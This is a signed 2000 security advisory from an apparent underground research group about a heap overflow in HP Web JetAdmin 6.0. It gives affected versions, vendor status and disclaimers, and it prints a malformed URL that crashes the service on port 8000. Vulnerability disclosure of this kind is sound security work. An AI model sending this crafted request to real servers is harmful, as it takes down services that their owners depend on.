USSR Advisory #42 - HP Web JetAdmin remote denial of service attack. HP Web JetAdmin Version 6.0 for Windows NT / 2000 has a heap overflow. Sending a malformed URL the JetAdmin service which runs on port 8000 will cause it to stop responding.
b4251729211b04a255d527fe18341e1736747e209fc075c277e456f5b72bec0c
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
HP Web JetAdmin Version 6.0 Remote DoS attack Vulnerability
USSR Advisory Code: USSR-2000042
Release Date:
May 24, 2000
Affected Software Versions
HP Web JetAdmin Version 6.0 (Microsoft Windows 2000)
HP Web JetAdmin Version 6.0 (Microsoft Windows NT 4.0)
HP Web JetAdmin Version 6.0 (HP-UX 10.20) (not tested)
HP Web JetAdmin Version 6.0 (HP-UX 11.x) (not tested)
HP Web JetAdmin Version 6.0 (Linux - SuSE) (not tested)
HP Web JetAdmin Version 6.0 (Novell NetWare) (not tested)
HP Web JetAdmin Version 6.0 (Red Hat Linux) (not tested)
HP Web JetAdmin Version 6.0 (Solaris) (not tested)
THE PROBLEM
UssrLabs found a memory overflow heap Vulnerability in HP Web
JetAdmin Version 6.0 (port 8000) default.
What happens is by preforming an attack with a malformed url
information to port 8000 it will cause the proccess containg the
services to stop responding.
Example:
Original:
http://SeverIp:8000/plugins/hpjwja/script/devices_list.hts?&obj=Httpd:
GetProfile(new_list,__null,__null,$__hpjwja_ack_ini)(_deviceList)&clea
rFilters=true&_refreshdevicelist=true&_special=new
Malformed:
http://ServerIp:8000/plugins/hpjwja/script/devices_list.hts?&obj=Httpd
:GetProfile(new_list,__null,__null,$
SPECIAL NOTE: That we take no responsibility for this, is for
educational purposes only.
Vendor Status:
Informed.
Vendor Url: http://www.hp.com/
Program Url:
http://www.hp.com/cposupport/prodhome/hpwebjetad1880.html
Fix:
Noting Yet
Related Links:
Underground Security Systems Research
http://www.ussrback.com
Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN,
Sub, prizm, b0f,Technotronic and Rfp.
Copyright (c) 1999-2000 Underground Security Systems Research.
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of Ussr. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please e-mail
labs@ussrback.com for permission.
Disclaimer:
The information within this paper may change without notice. Use of
this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.
In no event shall the author be liable for any damages whatsoever
arising out of or in connection with the use or spread of this
information. Any use of this information is at the user's own risk.
Feedback:
Please send suggestions, updates, and comments to:
Underground Security Systems Research
mail:labs@ussrback.com
http://www.ussrback.com
u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c
h
http://www.ussrback.com
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.2 for non-commercial use <http://www.pgp.com>
iQA/AwUBOSuXs63JcbWNj6DDEQKbXgCg35djFEX3ul2pG85p11yuJKhAb3kAn2Rw
2xublsO02lUcYhL5lU/8xG+h
=ndCf
-----END PGP SIGNATURE-----